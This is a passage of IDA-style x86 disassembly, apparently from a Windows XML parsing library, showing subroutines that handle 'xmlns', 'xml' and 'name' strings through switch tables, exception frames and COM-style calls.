loc_69B4FB87: ; CODE XREF: sub_69B4FA5E+69j
mov esi, [ebp+8]
loc_69B4FB8A: ; CODE XREF: sub_69B4FA5E+D6j
; sub_69B4FA5E+E0j ...
lea edi, [esi+10h]
mov eax, [edi]
mov ecx, [eax]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+0Ch]
mov [ebp-28h], eax
cmp eax, ebx
jnz short loc_69B4FBFE
lea ecx, [esi+18h]
mov edx, [ecx]
mov [ebp-4Ch], edx
cmp edx, ebx
jz short loc_69B4FBF1
mov eax, [esi+28h]
mov [ebp-50h], eax
mov al, [eax+2Ch]
mov [ebp-51h], al
cmp al, bl
jz short loc_69B4FBF1
mov eax, [esi+24h]
mov [ebp-58h], eax
mov al, [eax+82h]
mov [ebp-59h], al
cmp al, bl
jz short loc_69B4FBF1
mov eax, [edi]
mov [ebp-60h], eax
mov [ebp-64h], edx
cmp eax, edx
jz short loc_69B4FC2B
push ecx
mov ecx, edi
call sub_69B4D414
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_69B4F4C3
jmp short loc_69B4FC2B
; ---------------------------------------------------------------------------
loc_69B4FBF1: ; CODE XREF: sub_69B4FA5E+14Ej
; sub_69B4FA5E+15Ej ...
add esi, 1Ch
push esi
mov ecx, edi
call sub_69B4D414
jmp short loc_69B4FC2B
; ---------------------------------------------------------------------------
loc_69B4FBFE: ; CODE XREF: sub_69B4FA5E+142j
cmp eax, 1
jnz short loc_69B4FC2B
mov [ebp-28h], ebx
jmp short loc_69B4FC2B
; ---------------------------------------------------------------------------
loc_69B4FC08: ; DATA XREF: .text:69B4FC44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4FC11: ; DATA XREF: .text:69B4FC48o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+24h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
loc_69B4FC28: ; CODE XREF: sub_69B4FA5E+C7j
mov [ebp-28h], eax
loc_69B4FC2B: ; CODE XREF: sub_69B4FA5E+A0j
; sub_69B4FA5E+17Dj ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-28h]
call sub_69B1853C
retn 0Ch
sub_69B4FA5E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4FC40 dd 0FFFFFFFFh dd offset loc_69B4FC08
dd offset loc_69B4FC11
; =============== S U B R O U T I N E =======================================
sub_69B4FC4C proc near ; DATA XREF: .text:69B12764o
push 0Ch
push offset dword_69B4FCA0
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov eax, [ebp+8]
mov eax, [eax+10h]
mov ecx, [eax]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+10h]
mov [ebp-1Ch], eax
jmp short loc_69B4FC93
; ---------------------------------------------------------------------------
loc_69B4FC73: ; DATA XREF: .text:69B4FCA4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4FC7C: ; DATA XREF: .text:69B4FCA8o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+24h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
loc_69B4FC93: ; CODE XREF: sub_69B4FC4C+25j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 0Ch
sub_69B4FC4C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B4FCA0 dd 0FFFFFFFFh dd offset loc_69B4FC73
dd offset loc_69B4FC7C
; =============== S U B R O U T I N E =======================================
sub_69B4FCAC proc near ; DATA XREF: .text:69B12768o
push 28h
push offset dword_69B4FDB0
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov esi, [ebp+8]
lea ebx, [esi+10h]
mov eax, [ebx]
mov ecx, [eax]
mov edi, [ebp+14h]
push edi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+14h]
mov [ebp-1Ch], eax
mov ecx, [esi+20h]
mov [ebp-20h], ecx
push dword ptr [edi+1Ch]
call sub_69B4DDE6
cmp byte ptr [esi+49h], 0
jnz loc_69B4FD9A
mov ecx, [edi+1Ch]
mov eax, [ecx]
call dword ptr [eax+38h]
push eax
call sub_69B48CC4
test al, al
jz loc_69B4FD9A
mov eax, [esi+44h]
test eax, eax
jz short loc_69B4FD71
cmp byte ptr [esi+48h], 0
jnz short loc_69B4FD32
mov edi, [edi+1Ch]
mov [ebp-24h], edi
mov [ebp-28h], eax
mov ecx, esi
call sub_69B4F636
mov [ebp-2Ch], eax
push edi
push dword ptr [ebp-28h]
mov ecx, eax
call sub_69B3182D
jmp short loc_69B4FD4F
; ---------------------------------------------------------------------------
loc_69B4FD32: ; CODE XREF: sub_69B4FCAC+64j
mov eax, [ebx]
mov ecx, [eax]
push 0Bh
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+0Ch]
mov ecx, [esi+28h]
mov [ebp-30h], ecx
mov eax, [esi+44h]
push eax
push eax
call sub_69B8B750
loc_69B4FD4F: ; CODE XREF: sub_69B4FCAC+84j
lea eax, [esi+18h]
mov ecx, [eax]
mov [ebp-34h], ecx
test ecx, ecx
jnz short loc_69B4FD5E
lea eax, [esi+1Ch]
loc_69B4FD5E: ; CODE XREF: sub_69B4FCAC+ADj
mov [ebp-38h], eax
push eax
mov ecx, ebx
call sub_69B4D414
and dword ptr [esi+44h], 0
mov byte ptr [esi+48h], 0
loc_69B4FD71: ; CODE XREF: sub_69B4FCAC+5Ej
mov byte ptr [esi+49h], 1
jmp short loc_69B4FD9A
; ---------------------------------------------------------------------------
loc_69B4FD77: ; DATA XREF: .text:69B4FDB4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4FD80: ; DATA XREF: .text:69B4FDB8o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+24h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
mov [ebp-1Ch], eax
loc_69B4FD9A: ; CODE XREF: sub_69B4FCAC+3Dj
; sub_69B4FCAC+53j ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 10h
sub_69B4FCAC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B4FDB0 dd 0FFFFFFFFh dd offset loc_69B4FD77
dd offset loc_69B4FD80
; =============== S U B R O U T I N E =======================================
sub_69B4FDBC proc near ; DATA XREF: .text:69B12770o
push 130h
push offset dword_69B505A8
call sub_69B19C5C
xor ebx, ebx
mov [ebp-19h], bl
mov [ebp-1Dh], bl
mov [ebp-1Eh], bl
mov eax, [ebp+18h]
mov edi, [eax]
mov [ebp-24h], edi
mov [ebp-25h], bl
mov [ebp-2Ch], ebx
mov [ebp-30h], ebx
push ebx
lea ecx, [ebp-4Ch]
call sub_69B2DC5B
mov [ebp-4], ebx
mov eax, [edi+4]
dec eax
cmp eax, 18h ; switch 25 cases
ja loc_69B502A3 ; default
; jumptable 69B4FE07 cases 10-15,17,20
movzx eax, ds:byte_69B5057D[eax]
jmp ds:off_69B50551[eax*4] ; switch jump
loc_69B4FE0E: ; DATA XREF: .text:off_69B50551o
mov byte ptr [ebp-1Dh], 1 ; jumptable 69B4FE07 case 0
cmp word ptr [ebp+14h], 1
jbe short loc_69B4FE40
cmp [edi+20h], ebx
jz short loc_69B4FE40
lea eax, [ebp-1Eh]
push eax
mov eax, [ebp+18h]
add eax, 4
push eax
mov eax, [ebp+14h]
dec eax
push eax
push dword ptr [ebp+0Ch]
mov esi, [ebp+8]
mov ecx, esi
call sub_69B4F873
mov [ebp-19h], al
jmp short loc_69B4FE43
; ---------------------------------------------------------------------------
loc_69B4FE40: ; CODE XREF: sub_69B4FDBC+5Bj
; sub_69B4FDBC+60j
mov esi, [ebp+8]
loc_69B4FE43: ; CODE XREF: sub_69B4FDBC+82j
mov al, [esi+49h]
mov [ebp-25h], al
jmp loc_69B500F9
; ---------------------------------------------------------------------------
loc_69B4FE4E: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
mov esi, [ebp+8] ; jumptable 69B4FE07 case 16
mov eax, [esi+10h]
mov [ebp-50h], eax
mov ecx, [esi+18h]
mov [ebp-54h], ecx
cmp eax, ecx
jz short loc_69B4FEC3
mov [ebp-58h], eax
mov eax, [esi+14h]
mov [ebp-5Ch], eax
cmp [ebp-58h], eax
jz short loc_69B4FEC3
cmp [edi+18h], ebx
jz short loc_69B4FE84
push ebx
mov eax, 0C00CE00Ch
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4FE84: ; CODE XREF: sub_69B4FDBC+B6j
mov ecx, [esi+20h]
mov [ebp-60h], ecx
push ebx ; int
push ebx ; int
push ebx ; int
push ebx ; int
push dword ptr [edi+18h] ; int
push dword ptr [edi+14h] ; int
push dword ptr [edi+10h] ; lpString
call sub_69B4D62C
mov [ebp-64h], eax
mov [edi+20h], eax
mov eax, [eax+8]
mov [ebp-68h], eax
mov ecx, [esi+28h]
mov [ebp-6Ch], ecx
xor edx, edx
mov dl, [esi+3Ch]
push edx
push ebx
push eax
call sub_69B8C45B
jmp loc_69B502A6
; ---------------------------------------------------------------------------
loc_69B4FEC0: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
mov esi, [ebp+8] ; jumptable 69B4FE07 cases 2,6,9,19,21
loc_69B4FEC3: ; CODE XREF: sub_69B4FDBC+A3j
; sub_69B4FDBC+B1j
cmp [edi+18h], ebx
jz loc_69B500F9
push ebx
mov eax, 0C00CE00Ch
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
jmp loc_69B500F9
; ---------------------------------------------------------------------------
loc_69B4FEE1: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
cmp dword ptr [edi+14h], 5 ; jumptable 69B4FE07 case 23
jnz loc_69B5005B ; jumptable 69B4FE07 cases 7,8,24
push 5 ; nChar
push dword ptr [edi+10h] ; lpStr2
push offset Str1 ; "xmlns"
call ds:StrCmpNW ; StrCmpNW
mov esi, [ebp+8]
test eax, eax
jnz loc_69B5005E
mov ecx, [esi+20h]
mov [ebp-70h], ecx
push ebx ; int
mov eax, dword_69B95A5C
push eax ; int
push eax ; int
push ebx ; int
push 5 ; int
push 6 ; int
push offset aXmlns_1 ; "xmlns:"
call sub_69B4D62C
mov [edi+20h], eax
mov eax, [esi+28h]
mov [ebp-74h], eax
mov byte ptr [eax+2Eh], 1
jmp loc_69B502A6
; ---------------------------------------------------------------------------
loc_69B4FF35: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
mov esi, [ebp+8] ; jumptable 69B4FE07 case 18
mov eax, [esi+28h]
mov [ebp-78h], eax
mov al, [eax+2Dh]
mov [ebp-79h], al
test al, al
jnz loc_69B5005E
jmp loc_69B500F9
; ---------------------------------------------------------------------------
loc_69B4FF51: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
cmp dword ptr [edi+8], 1Fh ; jumptable 69B4FE07 case 1
jnz loc_69B500F6 ; jumptable 69B4FE07 cases 3,5
mov esi, [ebp+8]
cmp [edi+18h], ebx
jnz short loc_69B4FF82
mov ecx, [esi+20h]
mov [ebp-80h], ecx
push ebx ; int
mov eax, dword_69B95A5C
push eax ; int
push eax ; int
push ebx ; int
push 5 ; int
push 6 ; int
push offset aXmlns_1 ; "xmlns:"
call sub_69B4D62C
jmp short loc_69B4FFBD
; ---------------------------------------------------------------------------
loc_69B4FF82: ; CODE XREF: sub_69B4FDBC+1A5j
mov eax, dword_69B95A5C
mov [ebp-2Ch], eax
mov [ebp-30h], eax
jmp loc_69B500F9
; ---------------------------------------------------------------------------
loc_69B4FF92: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
cmp dword ptr [edi+8], 34h ; jumptable 69B4FE07 case 22
jnz loc_69B500F6 ; jumptable 69B4FE07 cases 3,5
mov esi, [ebp+8]
mov eax, [esi+20h]
mov [ebp-84h], eax
push ebx
push ebx
push 1
call sub_69B3DA47
push eax
mov ecx, [ebp-84h]
call sub_69B3DA18
loc_69B4FFBD: ; CODE XREF: sub_69B4FDBC+1C4j
mov [edi+20h], eax
jmp loc_69B502A6
; ---------------------------------------------------------------------------
loc_69B4FFC5: ; CODE XREF: sub_69B4FDBC+4Bj
; DATA XREF: .text:off_69B50551o
mov esi, [ebp+8] ; jumptable 69B4FE07 case 4
mov eax, [esi+28h]
mov [ebp-88h], eax
mov al, [eax+2Fh]
mov [ebp-89h], al
test al, al
jnz short loc_69B5003F
push 80h
call sub_69B1D897
mov [ebp-90h], eax
cmp eax, ebx
jz short loc_69B5001D
mov eax, [esi+24h]
mov [ebp-94h], eax
mov ecx, [esi+28h]
mov [ebp-98h], ecx
mov edx, [esi+1Ch]
mov [ebp-9Ch], edx
push eax
push ecx
push edx
mov ecx, [ebp-90h]
call sub_69B8F007
jmp short loc_69B5001F
; ---------------------------------------------------------------------------
loc_69B5001D: ; CODE XREF: sub_69B4FDBC+234j
xor eax, eax
loc_69B5001F: ; CODE XREF: sub_69B4FDBC+25Fj
lea ebx, [esi+10h]
push eax
lea ecx, [esi+14h]
call sub_69B199CC
push eax
mov ecx, ebx
call sub_69B4D414
mov ebx, [ebx]
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
xor ebx, ebx
jmp short loc_69B5005E
; ---------------------------------------------------------------------------
loc_69B5003F: ; CODE XREF: sub_69B4FDBC+220j
mov eax, [esi+2Ch]
mov [ebp-0A0h], eax
cmp eax, ebx
jnz short loc_69B5005E
mov dword ptr [ebp-0A4h], 0C00CE125h
jmp loc_69B50537
; ---------------------------------------------------------------------------
loc_69B5005B: ; CODE XREF: sub_69B4FDBC+4Bj
; sub_69B4FDBC+129j
; DATA XREF: ...
mov esi, [ebp+8] ; jumptable 69B4FE07 cases 7,8,24
loc_69B5005E: ; CODE XREF: sub_69B4FDBC+144j
; sub_69B4FDBC+18Aj ...
mov eax, [edi+18h]
cmp eax, ebx
jz loc_69B500F9
cmp eax, 3
jnz short loc_69B5008E
push eax ; nChar
push dword ptr [edi+10h] ; lpStr2
push offset aXml_0 ; "xml"
call ds:StrCmpNW ; StrCmpNW
test eax, eax
jnz short loc_69B5008E
mov eax, dword_69B95A64
loc_69B50086: ; CODE XREF: sub_69B4FDBC+2F1j
mov [ebp-2Ch], eax
mov [ebp-30h], eax
jmp short loc_69B500E7
; ---------------------------------------------------------------------------
loc_69B5008E: ; CODE XREF: sub_69B4FDBC+2B0j
; sub_69B4FDBC+2C3j
cmp dword ptr [edi+18h], 5
jnz short loc_69B500AF
push 5 ; nChar
push dword ptr [edi+10h] ; lpStr2
push offset Str1 ; "xmlns"
call ds:StrCmpNW ; StrCmpNW
test eax, eax
jnz short loc_69B500AF
mov eax, dword_69B95A5C
jmp short loc_69B50086
; ---------------------------------------------------------------------------
loc_69B500AF: ; CODE XREF: sub_69B4FDBC+2D6j
; sub_69B4FDBC+2EAj
mov ecx, [esi+20h]
mov [ebp-0A8h], ecx
mov eax, [edi+18h]
mov [ebp-0ACh], eax
mov edx, [edi+10h]
mov [ebp-0B0h], edx
push eax ; int
push edx ; lpString
push ebx ; int
call sub_69B4D394
mov [ebp-30h], eax
mov ecx, [esi+20h]
mov [ebp-0B4h], ecx
push eax
call sub_69B4DA96
mov [ebp-2Ch], eax
loc_69B500E7: ; CODE XREF: sub_69B4FDBC+2D0j
mov eax, [esi+28h]
mov [ebp-0B8h], eax
mov byte ptr [eax+2Eh], 1
jmp short loc_69B500F9
; ---------------------------------------------------------------------------
loc_69B500F6: ; CODE XREF: sub_69B4FDBC+4Bj
; sub_69B4FDBC+199j ...
mov esi, [ebp+8] ; jumptable 69B4FE07 cases 3,5
loc_69B500F9: ; CODE XREF: sub_69B4FDBC+8Dj
; sub_69B4FDBC+10Aj ...
mov ecx, [esi+20h]
mov [ebp-0BCh], ecx
push ebx ; int
push dword ptr [ebp-30h] ; int
push dword ptr [ebp-2Ch] ; int
push dword ptr [ebp-1Dh] ; int
push dword ptr [edi+18h] ; int
push dword ptr [edi+14h] ; int
push dword ptr [edi+10h] ; lpString
call sub_69B4D62C
mov [edi+20h], eax
cmp byte ptr [ebp-25h], 0
jz loc_69B502A6
mov eax, [eax+8]
mov [ebp-0C0h], eax
push eax
call sub_69B48CC4
test al, al
jz loc_69B502A6
mov eax, [esi+28h]
mov [ebp-0C4h], eax
push eax
push 4
push offset aName ; "name"
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
mov ecx, esi
call sub_69B4F5D7
mov [ebp-0C8h], eax
cmp eax, ebx
jz loc_69B502A6
mov eax, [esi+24h]
mov [ebp-0CCh], eax
push dword ptr [ebp-0C8h]
push eax
call sub_69B5B9EA
mov [ebp-0D0h], eax
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_69B4F4C3
mov eax, [esi+28h]
mov [ebp-0D4h], eax
push dword ptr [ebp-0D0h]
lea ecx, [eax+1Ch]
call sub_69B3BD1A
test eax, eax
jnz loc_69B502A6
mov [esi+49h], al
mov ecx, esi
call sub_69B4F636
mov [ebp-0D8h], eax
push dword ptr [ebp-0D0h]
mov ecx, eax
call sub_69B1980A
test eax, eax
jnz loc_69B502A6
mov eax, [esi+28h]
mov [ebp-0DCh], eax
push dword ptr [ebp-0D0h]
lea ecx, [eax+1Ch]
call sub_69B4F40B
test al, al
jnz loc_69B502A6
mov ecx, [ebp-0D0h]
mov [esi+44h], ecx
mov eax, [esi+28h]
mov [ebp-0E0h], eax
push ecx
lea ecx, [eax+0Ch]
call sub_69B4F616
mov [esi+48h], al
test al, al
jz loc_69B502A6
mov eax, [esi+28h]
mov [ebp-0E4h], eax
mov byte ptr [eax+2Fh], 1
push 28h
call sub_69B1D897
mov [ebp-0E8h], eax
cmp eax, ebx
jz short loc_69B5027D
mov ecx, [esi+24h]
mov [ebp-0ECh], ecx
mov eax, [esi+20h]
mov [ebp-0F0h], eax
mov [ebp-0F4h], eax
mov eax, [esi+28h]
mov [ebp-0F8h], eax
mov edx, [esi+10h]
mov [ebp-0FCh], edx
push ecx
push ebx
push dword ptr [ebp-0F0h]
push dword ptr [ebp-0F4h]
push eax
push edx
mov ecx, [ebp-0E8h]
call sub_69B5CDA6
jmp short loc_69B5027F
; ---------------------------------------------------------------------------
loc_69B5027D: ; CODE XREF: sub_69B4FDBC+478j
xor eax, eax
loc_69B5027F: ; CODE XREF: sub_69B4FDBC+4BFj
lea ebx, [esi+10h]
push eax
mov ecx, ebx
call sub_69B199CC
mov eax, [ebx]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov ebx, [ebx]
mov eax, [ebx]
push 0Ah
push dword ptr [ebp+0Ch]
push ebx
call dword ptr [eax+0Ch]
xor ebx, ebx
jmp short loc_69B502A6
; ---------------------------------------------------------------------------
loc_69B502A3: ; CODE XREF: sub_69B4FDBC+3Ej
; sub_69B4FDBC+4Bj
; DATA XREF: ...
mov esi, [ebp+8] ; default
; jumptable 69B4FE07 cases 10-15,17,20
loc_69B502A6: ; CODE XREF: sub_69B4FDBC+FFj
; sub_69B4FDBC+174j ...
mov eax, [esi+10h]
mov ecx, [eax]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+1Ch]
mov [ebp-0A4h], eax
cmp eax, ebx
jl loc_69B50537
cmp byte ptr [ebp-19h], 0
jz short loc_69B502EB
mov eax, [edi+1Ch]
cmp eax, ebx
jz short loc_69B502EB
mov [esi+40h], eax
mov ecx, [esi+20h]
mov [ebp-100h], ecx
push dword ptr [edi+1Ch]
push ebx
call sub_69B4D361
loc_69B502EB: ; CODE XREF: sub_69B4FDBC+511j
; sub_69B4FDBC+518j
cmp word ptr [ebp+14h], 1
jbe loc_69B504A5
mov byte ptr [esi+3Ch], 0
mov [ebp-104h], ebx
mov eax, [edi+1Ch]
mov [ebp-108h], eax
mov [ebp-10Ch], eax
add dword ptr [ebp+18h], 4
cmp dword ptr [edi+4], 3
jnz short loc_69B50331
mov eax, [esi]
push edi
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+10h]
mov [ebp-0A4h], eax
cmp eax, ebx
jl loc_69B50537
loc_69B50331: ; CODE XREF: sub_69B4FDBC+55Bj
movzx eax, word ptr [ebp+14h]
dec eax
mov [ebp-110h], eax
loc_69B5033C: ; CODE XREF: sub_69B4FDBC+6C2j
cmp eax, ebx
jle loc_69B50483
mov ecx, [ebp+18h]
mov edi, [ecx]
mov [ebp-114h], edi
cmp dword ptr [edi+4], 2
jnz loc_69B50439
cmp byte ptr [esi+3Ch], 0
jz short loc_69B50383
mov eax, [esi]
push dword ptr [ebp-104h]
push ebx
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+14h]
mov [ebp-0A4h], eax
cmp eax, ebx
jl loc_69B50537
mov eax, [ebp-110h]
loc_69B50383: ; CODE XREF: sub_69B4FDBC+5A1j
mov [ebp-104h], edi
mov byte ptr [esi+3Ch], 1
mov ecx, [ebp-108h]
mov [ebp-10Ch], ecx
cmp dword ptr [edi+8], 21h
jnz loc_69B50439
mov byte ptr [ebp-115h], 0
cmp eax, 1
jle short loc_69B50411
mov [ebp-11Ch], edi
mov eax, [ebp-110h]
dec eax
mov [ebp-120h], eax
mov eax, [esi+28h]
mov [ebp-124h], eax
push eax
lea eax, [ebp-120h]
push eax
mov eax, [ebp+18h]
add eax, 4
push eax
call sub_69B4F53C
mov ebx, eax
mov [ebp-128h], ebx
mov eax, [ebx+0Ch]
mov [ebp-12Ch], eax
test eax, eax
jz short loc_69B5041C
mov ecx, [ebx+8]
mov [ebp-130h], ecx
push ecx
push eax
call sub_69B31A82
test al, al
jz short loc_69B5041C
mov byte ptr [ebp-115h], 1
jmp short loc_69B5041C
; ---------------------------------------------------------------------------
loc_69B50411: ; CODE XREF: sub_69B4FDBC+5F1j
mov ebx, offset off_69B1A5AC
mov [ebp-128h], ebx
loc_69B5041C: ; CODE XREF: sub_69B4FDBC+636j
; sub_69B4FDBC+64Aj ...
cmp byte ptr [ebp-115h], 0
jnz short loc_69B50437
push 0
push ebx
mov eax, 0C00CE024h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B50437: ; CODE XREF: sub_69B4FDBC+667j
xor ebx, ebx
loc_69B50439: ; CODE XREF: sub_69B4FDBC+597j
; sub_69B4FDBC+5E1j
mov eax, [esi]
push dword ptr [ebp+18h]
push 1
push dword ptr [ebp-10Ch]
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+1Ch]
mov [ebp-0A4h], eax
cmp dword ptr [edi+4], 2
jnz short loc_69B50462
mov eax, [edi+1Ch]
mov [ebp-10Ch], eax
loc_69B50462: ; CODE XREF: sub_69B4FDBC+69Bj
cmp [ebp-0A4h], ebx
jl loc_69B50537
add dword ptr [ebp+18h], 4
dec dword ptr [ebp-110h]
mov eax, [ebp-110h]
jmp loc_69B5033C
; ---------------------------------------------------------------------------
loc_69B50483: ; CODE XREF: sub_69B4FDBC+582j
cmp [ebp-104h], ebx
jz short loc_69B504A1
mov eax, [esi]
push dword ptr [ebp-104h]
push ebx
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+14h]
mov [ebp-0A4h], eax
loc_69B504A1: ; CODE XREF: sub_69B4FDBC+6CDj
mov byte ptr [esi+3Ch], 0
loc_69B504A5: ; CODE XREF: sub_69B4FDBC+534j
cmp byte ptr [ebp-1Eh], 0
jz loc_69B50537
mov ecx, [esi+24h]
mov [ebp-134h], ecx
call sub_69B3D8EC
test al, al
jz short loc_69B50537
mov ecx, [esi+24h]
mov [ebp-138h], ecx
call sub_69B3E8B5
neg al
sbb eax, eax
and eax, 8000000Ah
mov [ebp-0A4h], eax
mov ecx, [esi+24h]
mov [ebp-13Ch], ecx
call sub_69B3D89C
test eax, eax
jz short loc_69B50537
mov esi, [esi+24h]
mov [ebp-140h], esi
mov ecx, esi
call sub_69B3D89C
jmp short loc_69B50531
; ---------------------------------------------------------------------------
loc_69B50502: ; DATA XREF: .text:69B505ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5050B: ; DATA XREF: .text:69B505B0o
mov esp, [ebp-18h]
lea ecx, [ebp-4Ch]
call sub_69B2D6DB
mov eax, [ebp-24h]
and dword ptr [eax+1Ch], 0
mov eax, [ebp+8]
push dword ptr [eax+24h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
loc_69B50531: ; CODE XREF: sub_69B4FDBC+744j
mov [ebp-0A4h], eax
loc_69B50537: ; CODE XREF: sub_69B4FDBC+29Aj
; sub_69B4FDBC+507j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-4Ch]
call sub_69B2DBD4
mov eax, [ebp-0A4h]
call sub_69B1853C
retn 14h
sub_69B4FDBC endp
; ---------------------------------------------------------------------------
off_69B50551 dd offset loc_69B4FE0E ; DATA XREF: sub_69B4FDBC+4Br
dd offset loc_69B4FF51 ; jump table for switch statement
dd offset loc_69B4FEC0
dd offset loc_69B500F6
dd offset loc_69B4FFC5
dd offset loc_69B5005B
dd offset loc_69B4FE4E
dd offset loc_69B4FF35
dd offset loc_69B4FF92
dd offset loc_69B4FEE1
dd offset loc_69B502A3
byte_69B5057D db 0, 1, 2, 3 ; DATA XREF: sub_69B4FDBC+44r
db 4, 3, 2, 5 ; indirect table for switch statement
db 5, 2, 0Ah, 0Ah
db 0Ah, 0Ah, 0Ah, 0Ah
db 6, 0Ah, 7, 2
db 0Ah, 2, 8, 9
db 5
align 4
; const WCHAR aXmlns_1
aXmlns_1: ; DATA XREF: sub_69B4FDBC+15Do
; sub_69B4FDBC+1BAo
unicode 0, <xmlns:>,0
align 4
dword_69B505A8 dd 0FFFFFFFFh dd offset loc_69B50502
dd offset loc_69B5050B
; =============== S U B R O U T I N E =======================================
sub_69B505B4 proc near ; DATA XREF: .text:69B12780o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_69B505CE
mov eax, [esp+4+arg_0]
push esi
mov esi, [eax+1Ch]
movsd
movsd
movsd
movsd
xor eax, eax
pop esi
jmp short loc_69B505D3
; ---------------------------------------------------------------------------
loc_69B505CE: ; CODE XREF: sub_69B505B4+7j
mov eax, 80004003h
loc_69B505D3: ; CODE XREF: sub_69B505B4+18j
pop edi
retn 8
sub_69B505B4 endp
; =============== S U B R O U T I N E =======================================
sub_69B505D7 proc near ; DATA XREF: .text:69B12784o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jz short loc_69B50608
mov eax, [esp+arg_0]
cmp dword ptr [eax+14h], 0
jz short loc_69B50601
push [esp+arg_4]
mov eax, [eax+14h]
mov ecx, [eax]
push offset dword_69B2B100
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B50601
xor eax, eax
jmp short locret_69B5060D
; ---------------------------------------------------------------------------
loc_69B50601: ; CODE XREF: sub_69B505D7+Fj
; sub_69B505D7+24j
mov eax, 80004005h
jmp short locret_69B5060D
; ---------------------------------------------------------------------------
loc_69B50608: ; CODE XREF: sub_69B505D7+5j
mov eax, 80004003h
locret_69B5060D: ; CODE XREF: sub_69B505D7+28j
; sub_69B505D7+2Fj
retn 8
sub_69B505D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50610 proc near ; DATA XREF: .text:off_69B12794o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jnz short loc_69B5063C
mov eax, [ebp+arg_0]
loc_69B50629: ; CODE XREF: sub_69B50610+3Ej
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_69B5062E: ; CODE XREF: sub_69B50610+44j
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B50636: ; CODE XREF: sub_69B50610+54j
pop edi
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B5063C: ; CODE XREF: sub_69B50610+14j
mov esi, [ebp+arg_4]
push 4
xor eax, eax
mov eax, [ebp+arg_0]
pop ecx
mov edi, offset dword_69B2B100
repe cmpsd
jz short loc_69B50629
cmp dword ptr [eax+10h], 0
jz short loc_69B5062E
push [ebp+arg_8]
mov eax, [eax+10h]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
jmp short loc_69B50636
sub_69B50610 endp
; =============== S U B R O U T I N E =======================================
sub_69B50666 proc near ; DATA XREF: .text:69B127B8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
add [eax+3Ch], ecx
mov eax, [eax+3Ch]
push 2
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
retn 8
sub_69B50666 endp
; =============== S U B R O U T I N E =======================================
sub_69B50680 proc near ; DATA XREF: .text:69B127BCo
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax+3Ch], 0
xor eax, eax
retn 4
sub_69B50680 endp
; =============== S U B R O U T I N E =======================================
sub_69B5068D proc near ; DATA XREF: .text:69B127D4o
arg_0 = dword ptr 4
